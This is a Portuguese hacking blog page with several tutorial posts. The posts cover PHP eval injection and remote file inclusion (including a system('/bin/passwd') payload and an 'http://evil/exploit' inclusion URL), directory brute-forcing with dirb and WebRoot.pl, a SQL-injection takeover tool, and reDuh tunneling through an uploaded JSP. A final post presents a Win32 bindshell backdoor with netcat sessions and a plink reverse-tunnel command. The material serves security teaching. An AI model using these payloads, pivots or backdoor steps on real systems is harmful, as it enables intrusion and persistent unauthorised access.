jump to navigation

Eval() December 16, 2011

Posted by y2h4ck in Devel, Ethical Hacking, Web Hacking.
add a comment

A função eval() é muito utilizada por facilitar a vida de desenvolvedores transformando strings em instruções javascript e executando-as em seguida (desde que a instrução esteja correta).

Vejamos abaixo um exemplo de código javascript:

 

document.getElementById("meubotaovoltar").onclick = function () {
if (historicode1 == "home") { //historicode1 é minha variável que recebe o valor do último item clicado
location.href="home.htm"; //faz a chamada da página
} else if (historicode1 == "contatos") {
location.href="contatos.htm"
}

 

E a seguir o mesmo código acima porém utilizando a função eval():

 

document.getElementById("meubotaovoltar").onclick = function () {
eval("location.href="+historicode1+".htm");
}

 

A função minimizou totalmente o código. Por tratar o conteúdo de forma dinamica a função Eval() pode ser abusada de varias formas e um dos ataques mais difundidos é o Eval Injection.

Este ataque consiste na injeção de scripts que não são validados de forma apropriada pelo input de dados de usuário como parâmetro no site. Um usuário remoto pode inserir uma URL especialmente criada para enviar dados arbitrários para a função eval(). Isso resultará na execução do código pelo sistema vulneravel.

O ataque irá executar o código com a mesma permissão que o web service está executando no servidor remoto, isso inclui comandos executados no sistema.

 

Exemplo 01 : Sistema vulnerável a Eval Injection.

Vejamos o código abaixo:

$myvar = “varname”;

$x = $_GET['arg'];

eval(“\$myvar = \$x;”);

 

 

Como pode ser visto acima a variavel $arg é repassada via parametro GET e  em seguida é processada dentro da chamada eval().  Poderiamos explorar facilmente isto setando o valor da variavel para “10; system(\”/bin/passwd\”);”. Neste caso o webserver iria executar o comando no sistema e exibiria todos os usuários do Linux;

 

Exemplo 2:  Injetando arquivos remotes para explorar a função vulnerável.

Vejamos o código a seguir:

 

<?php
   $color = 'blue';
   if ( isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
?>
<form>
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
</form>

 

Colocando red/blue o programador pensou que poderia garantir que somente blue.php e red.php poderiam ser carregados. Porem como qualquer um poderia simplesmente inserir dados arbitrários na variável COLOR, é possivel injetar códigos a partir de arquivos:

  • /vulnerable.php?COLOR=http://evil/exploit   : Isto injetaria um arquivo remoto malicioso
  • /vulnerable.php?COLOR=C:\ftp\upload\exploit : Isto poderia carregar um arquivo que foi feito upload para o server.

 

Como podem ver as vulnerabilidades relacionadas a dados inseridos como variáveis não validadas podem trazer diversos problemas, em especial a função eval() por ser utilizada em larga escala pode prejudicar consideravelmente a segurança de sua aplicação e servidores.

Web Application Brute-Force Attacks. December 8, 2011

Posted by y2h4ck in Devel, Ethical Hacking, Web Hacking.
add a comment

 

O ataque de Brute-force sempre foi muito comum em serviços disponibilizados remotamente tais quais, ftp, smtp, pop entre outros. Em geral este ataque por si só não apresenta um risco muito grave, porém pode ser utilizado como vetor para ataques mais complexos que podem explorar falhas na infra-estrutura que vão desde políticas mal configuradas de permissões, política de senha ineficiente ou inexistente entre outras.

Durante este tipo de ataque, o atacante tenta transpor mecanismos de segurança como por exemplo sistemas de autenticação, proteção de diretórios por senha e etc, tendo como base um mínimo conhecimento sobre o alvo.

Existem basicamente 2 métodos que podem ser empregados neste tipo de ataque o ataque de dicionário e o de força-bruta.

Dicionário: O atacante utiliza um catalogo pré-formatado onde no caso são utilizadas strings que contém possíveis resultados e que em geral utilizam senhas padrão comumente utilizadas, nomes de pastas utilizadas e etc. Em geral este tipo de ataque tende a ser direcionado.

Força-Bruta: O atacante utiliza classes de caracteres ex: alfanumerica, especiais, case sensitive e etc. Neste caso específico este tipo de método demanda muito tempo e seu percentual de aproveitamento é muito baixo assim como gera muito alarde durante o ataque fazendo com que possíveis mecanismos de segurança como IDSs, IPSs e etc sejam acionados.

 

Em sua grande maioria ataques de brute-force são utilizados para conseguir senhas de usuários para controle de acesso de aplicações e sistemas. Entretanto existem diversas ferramentas que utiliza esta técnica para examinar web services, procurar pastas contendo arquivos que possam conter senhas de banco de dados, assim como testar como a aplicação se comporta utilizando diferentes data forms (GET/POST) assim como identificar Session-IDs de usuários. Especialmente em aplicações web o ataque de brute-force pode ser utilizado para

- Conseguir cookies de acesso a sessões de usuários;

- Usuários e senhas de diretórios protegidos;

- SessionID de aplicações;

- Arquivos de include contendo dados sensíveis como senhas de banco de dados entre outras.

Veremos abaixo alguns exemplos de ferramentas que podem ajudar durante o teste de aplicações web e descobrir se estamos vulneraveis a este tipo de ataque.

 

 

Para testes em serviços web existem 2 ferramentas  interesssantes:

-dirb (http://sourceforge.net/projects/dirb)

-webroot (http://www.cirt.dk/tools/webroot/WebRoot.txt)

 

A ferramenta dirb consiste em uma ferramenta com opções mais avançadas e pode ser utilizada para:

- setar diferentes cookies

- adicionar qualquer tipo de HTTP header desejado

- utilizar proxys para mascarar a conexão

- Utilizar catalogos ou arquivos utilizando dicionários definidos ou templates fazendo uma varredura direcionada.

Podemos fazer um teste simples utilizando-a:

[root@localhost /]$  ./dirb http://laboratorio.test/

—————–

DIRB v1.9

By The Dark Raver

—————–

START_TIME: Mon Jul  9 23:13:16 2007

URL_BASE: http://laboratorio.test/

WORDLIST_FILES: wordlists/common.txt

SERVER_BANNER: apache/3.2.2

NOT_EXISTANT_CODE: 404 [NOT FOUND]

(Location: ” – Size: 345)

 

—————–

 

Generating Wordlist…

Generated Words: 839

 

—- Scanning URL: http://laboratorio.test/ —-

FOUND: http://laboratorio.test/phpmyadmin/

(***) DIRECTORY (*)

 

 

No output da ferramenta somos informados que a pasta phpmyadmin/  foi encontrada. Um atacante poderia agora efetuar um ataque direcionado para a aplicação PHPMyAdmin, como por exemplo tentar senhas de acesso default ou utilizar exploits para a versão em uso do PHPmyAdmin.

 

 

Um dos maiores problemas com ferramentas como o dirb é reconhecer se a mensagem de retorno do servidor  é a esperada ou não. Em casos onde o servidor  tem configurações avançadas (exemplo utilizando mod_rewrite) ferramentas automaticas não conseguem distinguir uma mensagem de resposta do servidor  sobre um determinado erro ao acessar uma pasta ou arquivo.

A aplicação WebRoot.pl escrita pelo CIRT.DK, tem mecanismos embutidos para trabalhar as respostas do servidor,  e baseado na frase especificada pelo atacante, consegue identificar se a resposta do servidor  é a esperada ou não.

./WebRoot.pl -noupdate -host laboratorio.test -port 80 -verbose -match “senha” -url “/private/<BRUTE>” -incremental lowercase -minimum 1 -maximum 1

 

oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00

o          Webserver Bruteforcing 1.8          o

0  ************* !!! WARNING !!! ************  0

0  ******* FOR PENETRATION USE ONLY *********  0

0  ******************************************  0

o       (c)2007 by Dennis Rand – CIRT.DK       o

oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00

[X] Checking for updates                – NO CHECK

[X] Checking for False Positive Scan    – OK

[X] Using Incremental                   – OK

[X] Starting Scan                       – OK

GET /private/b HTTP/1.1

GET /private/z HTTP/1.1

[X] Scan complete                       - OK

[X] Total attempts                      – 26

[X] Sucessfull attempts                 – 1

oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00

WebRoot.pl encontrou um arquivo /private/b no laboratorio.test, que contem a frase “senha: 123mudar”

Ferramentas para Identificar e proteger contra brute-forc e em aplicações Web.

Php-Brute-Force-Attack Detector

http://yehg.net/lab/pr0js/files.php/php_brute_force_detect.zip

Esta ferramenta detecta se seu servidor esta sendo scanniado por ferramentas de brute-force como  WFuzz, Owasp DirBuster e scans e vulnerabilidades como Nessus, Nikto, Acunetix, etc. Ela pode ajudar você a rapidamente identificar possíveis hosts utilizados por atacantes que ficam efetuando testes em sua aplicações para identificar brechas e possíveis falhas de segurança

 

 

MySqloit – SQL Injection Takeover tool September 9, 2009

Posted by y2h4ck in General Hacking, Pentesting.
Tags: , ,
add a comment

MySloit é uma tool para exploração de falhas de SQL Injection focada em LAMP(Linux, Apache, MySQL,PHP) e WAMP (Windows, Apache, MySQL,PHP). Ele tem a habilidade de fazer upload e executar shellcodes do metasploit através de falhas de MySQL SQL Injection.

Atacantes efeutando SQL Injection em MySQL-PHP podem acabar se deparando com diversas limitações ao contrário do mesmo cenário ocorrendo em um Windows com SQL Server que permite muito mais facilidades para escalar privilégios e etc. Por exemplo a falta de multiplos statements em uma query faz o MySQL uma plataforma pouco popular para remote code execution. Essa ferramenta foi escrita justamente para demonstrar como a execução remota de códigos pode ser executada em um connector de banco de dados que não suporta stack queries.

Plataforma Suportada:

1) Linux

Key Features

1) SQL Injection detection using time based injection method

2) Database fingerprint

2) Web server directory fingerprint

3) Payload creation and execution

Download: Aqui

Faça o teste e mande os resultados aqui para que eu possa postar no blog :)

Good Hacking 4 All.

L0phtCrack 6 Released May 29, 2009

Posted by y2h4ck in Ethical Hacking, General Security, Pentesting.
Tags: , , , , ,
add a comment

big_image

Bom, finalmente saiu o release da nova versão do L0pthCrack. A muitos anos esta ferramenta ficou relegada ao esquecimento (pelo menos pelos desenvolvedores) e não ouveram mais atualizações.

Entrei em contato com o suporte por e-mail e me informaram muitas coisas interessantes, que realmente fazem esta nova versão ter um plus ao ja tão conhecido e utilizado LC5.

- Possibilidade de Coletar os Hashes de hosts remotos e analisa-los;

- Algoritimos que suportam Multi-Processamento. Segundo o e-mail que recebi do suporte, o l0pthcrack agora consegue trabalhar com quantos processadores ouverem disponiveis no host que efetuará as auditorias.

Para mim estes 2 features ja foram matadores o suficiente. O melhor porém em minha opnião é o fato de agora ele gerar estatísticas muito boas sobre as quebras de senhas e também o preço pelo qual as licenças estão sendo vendidas, algo que realmente ajuda a evitar a pirataria.

Professional:  $ 295

Administrator:  $ 595

Consultant: $ 11195

A diferença da licença Professional para a Administrator é que na versão Administrator é possível utilizar Pre-computed Hash Tables (Rainbow Tables) e gera-las.

Da administrator para a Consultant é a possibilidade de instalar o LC6 em até 6 hosts.

Existe tambem a possibilidade de se atualizar da versão 5 para a 6 por apenas 25% do valor da licença. Basta enviar os dados de sua licença por e-mail para que possa ser avaliada a possibilidade do upgrade. Obviamente a licença deve ser original :P

Existe uma versão de demonstração que pode ser baixada Aqui.

Ja providenciei a minha cópia do LC6 >:D

Good Hacking 4 All.

PHP filesystem attack vectors February 12, 2009

Posted by y2h4ck in General Hacking, Web Hacking.
Tags: , , ,
add a comment

Olá pessoal, após um pequeno periodo de “férias” estou de volta postando algumas coisas interessantes que estão rolando por ai. Um texto que li estes dias que realmente me chamou a atenção foi o paper do Ushi Team falando sobre vetores de ataques ao filesystem utilizando PHP.

Um dos fatores mais interessantes é que um dos ataques demonstrados no paper refere-se ao uso do patch Suhoshin, justamente criado para delimitar ataques em códigos PHP, atuando como uma espécie de filtro de chamadas perigosas.

Uma leitura que realmente vale a pena.

Link: http://www.ush.it/team/ush/hack-phpfs/phpfs_mad.txt

ClickJacking + XSS = YouR PwneD January 6, 2009

Posted by y2h4ck in General Hacking, Web Hacking.
Tags: , , ,
add a comment

No artigo a seguir postado pelo Nex (http://nex.playhack.net) é comentada a possibilidade de mesclar ataques de ClickJacking junto com XSS, aumentando consideravelmente o escopo de ação deste tão comentado ataque.

Link Aqui

reDuh: TCP Tunnel through HTTP Requests November 28, 2008

Posted by y2h4ck in General Hacking, Pentesting, Web Hacking.
Tags: , , , , , , ,
add a comment

Muitas vezes, durante um pentest, são encontradas falhas em aplicações web que permitem que seja feito o upload de arquivos para o servidor web. Nesta hora, apesar da falha não proporcionar um acesso administrativo direto, ela fornece um canal muito rico em possibilidades. Uma destas possibilidades que iremos tratar hoje é reDuh criado pela SensePost para HTTP Tunneling e TCP redirects.

O reDuh é atualmente uma ferramenta que pode ser utilizada para criar circuitos TCP através de requisições HTTP validadas.

Por enquanto não foi divulgada nenhuma documentação completa a respeito da ferramenta e no próprio site eles dizem que estão elaborando um .ppt demonstrativo. Porém vamos citar um exemplo simples de utilização da ferramenta.

Vamos pensar no seguinte cenário:

Digamos que você consiga exploitar uma falha qualquer ou conseguiu acesso por meio de um usuário desprotegido a um FTP do servidor web, e consegue enviar e/ou criar uma página JSP no servidor remoto.

Este usuário permitiria acesso ao Terminal Service outros servidores que estão atrás deste servidor web, e você não pode efetuar uma conexào RDP porque o firewall bloqueia todas as conexões de Inbound que chegam para estes hosts e libera apenas a porta 80.

Então nesse momento entra em ação o reDuh. Você faz o upload do arquivo reDuh.jsp para o alvo, que poderia ser o http://web001.target.com/uploads/reDuh.jsp

Feito isto agora, é necessário utilizar o reDuhClient em sua máquina apontando ele para a pagina que você acabou de fazer upload:

$ java reDuhClient web001.target.com 80 /uploads/reDuh.jsp


Você pode administrar o reDuhClient conectando na porta de gerenciamente que ele ira subir (1010 por padrão).

Uma vez conectado na console de gerenciamento do reDuhClient digite:

[createTunnel]1234:term-serv.target.com:3389

O que isto faria:

a) reDuhClient irá iniciar um socket Listen na porta 1324 e enviará uma mensagem HTTP para /uploads/reDuh.jsp que irá então abrir um socket para term-serv.target.com:3389.

b) Qualquer tráfego enviado para a o localhost socket na porta 1234 será codificado, e compactado em requests HTTP e depois enviado para o script /uploads/reDuh.jsp.

c) Qualquer tráfego vindo do servidor term-serv.target.com:3389 para o jsp é adicionado em uma query e enviado de volta para o reDuhClient quando ele requisitar.

Agora basta você iniciar o RDP Cliente de sua preferência e apontar para localhost:1234

O sistema pode gerenciar multiplas conexões, então enquanto a sessão RDP está acontecendo, nós podemos usar o manager e requisitar outros tuneis.

Neste exemplo utilizamos JsP, porém o mesmo se aplicaria caso o servidor utilizasse PHP, ASP ou JSP.

Abaixo seguem os links para Download da Ferramenta:

Download reDuhClient (the local proxy) | Download reDuhu Server Pages (JSP/PHP/ASP)

Aqui também os slides da apresentação na BlackHat 2008 onde o pessoal utilizou o reDuh como exemplo na apresentaçào sobre TCP Redirections and Tunnels.

Espero que gostem.

Good Hacking 4 All.

Curso: Web Application Hacking 29/11 November 20, 2008

Posted by y2h4ck in Ethical Hacking, General Hacking, General Security, Network Security, Pentesting, Web Hacking.
Tags: , , , ,
add a comment

Pessoal, estou fechando uma turma agora dia 29/11. Convido a todos que tenham interesse de participar. Me enviem um email para maiores informações ou então acesssem a parte “Academy”.

Preço especial para quem citar este link.

Aguardo a todos.

Good Hacking 4 All.

Web Security Horror Stories November 14, 2008

Posted by y2h4ck in Web Hacking.
Tags: , , , , ,
add a comment

Nesta apresentação de Simon Wilison de 26 de Outubro veremos muitas vulnerabilidades em aplicações web famosas e diferentes formas de execução, assim como algumas referências históricas dessas falhas em grandes sites e corporações.

É um material bem interessante e com informações bem legais para quem está procurando algumas dicas para iniciar seus passos com estudos de Web Application Security.

RootSec Remote Win32 BindShell v1.0 November 5, 2008

Posted by y2h4ck in General Hacking, Pentesting.
Tags: , , ,
add a comment

O RootSecShell é uma backdoor para sistemas Win32 criada em C++ que pode ser utilizara para criar um canal de acesso em um servidor / estação Windows ( XP / 2000 / 2003 ) utilizando o protocolo TCP.

Ao executar o bindshell a mesma abre uma Listener na porta 8080/tcp aguardando pela conexão do cliente que irá inputar os comandos desejados que serão executados no prompt do sistema com as credenciais do usuário que executou o bindshell.

Ex:

$ nc win32.lab.net 8080
hostname

C:\WINDOWS\SYSTEM32>hostname
morrowinds
at

C:\WINDOWS\SYSTEM32>at
There are no entries in the list.
net user

C:\WINDOWS\SYSTEM32>net user

User accounts for \\MORROWINDS

——————————————————————————-
__vmware_user__ Administrator Suporte
ASPNET Guest HelpAssistant
SUPPORT_388945a0
The command completed successfully.

-
Como telnet envia caracter por caracter recomendo utilizar o netcat pois ele envia os dados do comando somente quando você da o Enter.

Download aqui: RootSec Win32 BindShell v.10

Uso para o Remote BindShell: Remote win32 BindShell v1.0 + plink = Reverse Port

1-) Rode o Bindshell na maquina destino,

2-) Rode o pelink

> plink.exe -ssh -l usuario -pw senha_usuario -R 2021:127.0.0.1:8080  www.servidorssh.com.br

No servidor SSH remoto:

$ nc 127.0.0.1 2021

Enjoy uma politica de saida mal configurada de Firewall.

Thanks: Gratz para o amigo Rodrigo  “Spo0ker” Montoro que deu a dica de uso do RootSec Bindshell com o plink.

Happy Hacking 4 All.

Follow

Get every new post delivered to your Inbox.